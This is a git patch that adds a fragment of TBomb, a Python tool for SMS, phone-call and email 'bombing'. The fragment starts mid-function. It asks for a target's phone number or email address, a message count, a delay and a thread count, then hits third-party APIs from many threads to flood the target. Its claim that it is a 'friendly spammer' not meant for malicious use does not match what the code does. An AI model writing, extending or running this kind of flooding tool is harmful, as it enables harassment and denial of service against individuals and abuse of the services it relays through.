From 3796653f2e2fe6c5a2a7605b29abfcde3d661026 Mon Sep 17 00:00:00 2001 From: Hesham7777 <92262685+Hesham7777@users.noreply.github.com> Date: Sat, 20 Apr 2024 23:33:16 +0300 Subject: [PATCH] Create Gggdf --- Ggg | 188 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 188 insertions(+) create mode 100644 Ggg diff --git a/Ggg b/Ggg new file mode 100644 index 0000000..407578c --- /dev/null +++ b/Ggg @@ -0,0 +1,188 @@ + input(mesgdcrt.CommandMessage( + "Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it")) + + if len(APIProvider.api_providers) == 0: + mesgdcrt.FailureMessage("Your country/target is not supported yet") + mesgdcrt.GeneralMessage("Feel free to reach out to us") + input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) + bann_text() + sys.exit() + + success, failed = 0, 0 + while success < count: + with ThreadPoolExecutor(max_workers=max_threads) as executor: + jobs = [] + for i in range(count-success): + jobs.append(executor.submit(api.hit)) + + for job in as_completed(jobs): + result = job.result() + if result is None: + mesgdcrt.FailureMessage( + "Bombing limit for your target has been reached") + mesgdcrt.GeneralMessage("Try Again Later !!") + input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) + bann_text() + sys.exit() + if result: + success += 1 + else: + failed += 1 + clr() + pretty_print(cc, target, success, failed) + print("\n") + mesgdcrt.SuccessMessage("Bombing completed!") + time.sleep(1.5) + bann_text() + sys.exit() + + +def selectnode(mode="sms"): + mode = mode.lower().strip() + try: + clr() + bann_text() + check_intr() + check_for_updates() + notifyen() + + max_limit = {"sms": 500, "call": 15, "mail": 200} + cc, target = "", "" + if mode in ["sms", "call"]: + cc, target = get_phone_info() + if cc != "91": + max_limit.update({"sms": 100}) + elif mode == "mail": + target = get_mail_info() + else: + raise KeyboardInterrupt + + limit = max_limit[mode] + while True: + try: + message = ("Enter number of {type}".format(type=mode.upper()) + + " to send (Max {limit}): ".format(limit=limit)) + count = int(input(mesgdcrt.CommandMessage(message)).strip()) + if count > limit or count == 0: + mesgdcrt.WarningMessage("You have requested " + str(count) + + " {type}".format( + type=mode.upper())) + mesgdcrt.GeneralMessage( + "Automatically capping the value" + " to {limit}".format(limit=limit)) + count = limit + delay = float(input( + mesgdcrt.CommandMessage("Enter delay time (in seconds): ")) + .strip()) + # delay = 0 + max_thread_limit = (count//10) if (count//10) > 0 else 1 + max_threads = int(input( + mesgdcrt.CommandMessage( + "Enter Number of Thread (Recommended: {max_limit}): " + .format(max_limit=max_thread_limit))) + .strip()) + max_threads = max_threads if ( + max_threads > 0) else max_thread_limit + if (count < 0 or delay < 0): + raise Exception + break + except KeyboardInterrupt as ki: + raise ki + except Exception: + mesgdcrt.FailureMessage("Read Instructions Carefully !!!") + print() + + workernode(mode, cc, target, count, delay, max_threads) + except KeyboardInterrupt: + mesgdcrt.WarningMessage("Received INTR call - Exiting...") + sys.exit() + + +mesgdcrt = MessageDecorator("icon") +if sys.version_info[0] != 3: + mesgdcrt.FailureMessage("TBomb will work only in Python v3") + sys.exit() + +try: + country_codes = readisdc()["isdcodes"] +except FileNotFoundError: + update() + + +__VERSION__ = get_version() +__CONTRIBUTORS__ = ['SpeedX', 't0xic0der', 'scpketer', 'Stefan'] + +ALL_COLORS = [Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, + Fore.MAGENTA, Fore.CYAN, Fore.WHITE] +RESET_ALL = Style.RESET_ALL + +ASCII_MODE = False +DEBUG_MODE = False + +description = """TBomb - Your Friendly Spammer Application + +TBomb can be used for many purposes which incudes - +\t Exposing the vulnerable APIs over Internet +\t Friendly Spamming +\t Testing Your Spam Detector and more .... + +TBomb is not intented for malicious uses. +""" + +parser = argparse.ArgumentParser(description=description, + epilog='Coded by SpeedX !!!') +parser.add_argument("-sms", "--sms", action="store_true", + help="start TBomb with SMS Bomb mode") +parser.add_argument("-call", "--call", action="store_true", + help="start TBomb with CALL Bomb mode") +parser.add_argument("-mail", "--mail", action="store_true", + help="start TBomb with MAIL Bomb mode") +parser.add_argument("-ascii", "--ascii", action="store_true", + help="show only characters of standard ASCII set") +parser.add_argument("-u", "--update", action="store_true", + help="update TBomb") +parser.add_argument("-c", "--contributors", action="store_true", + help="show current TBomb contributors") +parser.add_argument("-v", "--version", action="store_true", + help="show current TBomb version") + + +if __name__ == "__main__": + args = parser.parse_args() + if args.ascii: + ASCII_MODE = True + mesgdcrt = MessageDecorator("stat") + if args.version: + print("Version: ", __VERSION__) + elif args.contributors: + print("Contributors: ", " ".join(__CONTRIBUTORS__)) + elif args.update: + update() + elif args.mail: + selectnode(mode="mail") + elif args.call: + selectnode(mode="call") + elif args.sms: + selectnode(mode="sms") + else: + choice = "" + avail_choice = { + "1": "SMS", + "2": "CALL", + "3": "MAIL" + } + try: + while (choice not in avail_choice): + clr() + bann_text() + print("Available Options:\n") + for key, value in avail_choice.items(): + print("[ {key} ] {value} BOMB".format(key=key, + value=value)) + print() + choice = input(mesgdcrt.CommandMessage("Enter Choice : ")) + selectnode(mode=avail_choice[choice].lower()) + except KeyboardInterrupt: + mesgdcrt.WarningMessage("Received INTR call - Exiting...") + sys.exit() + sys.exit()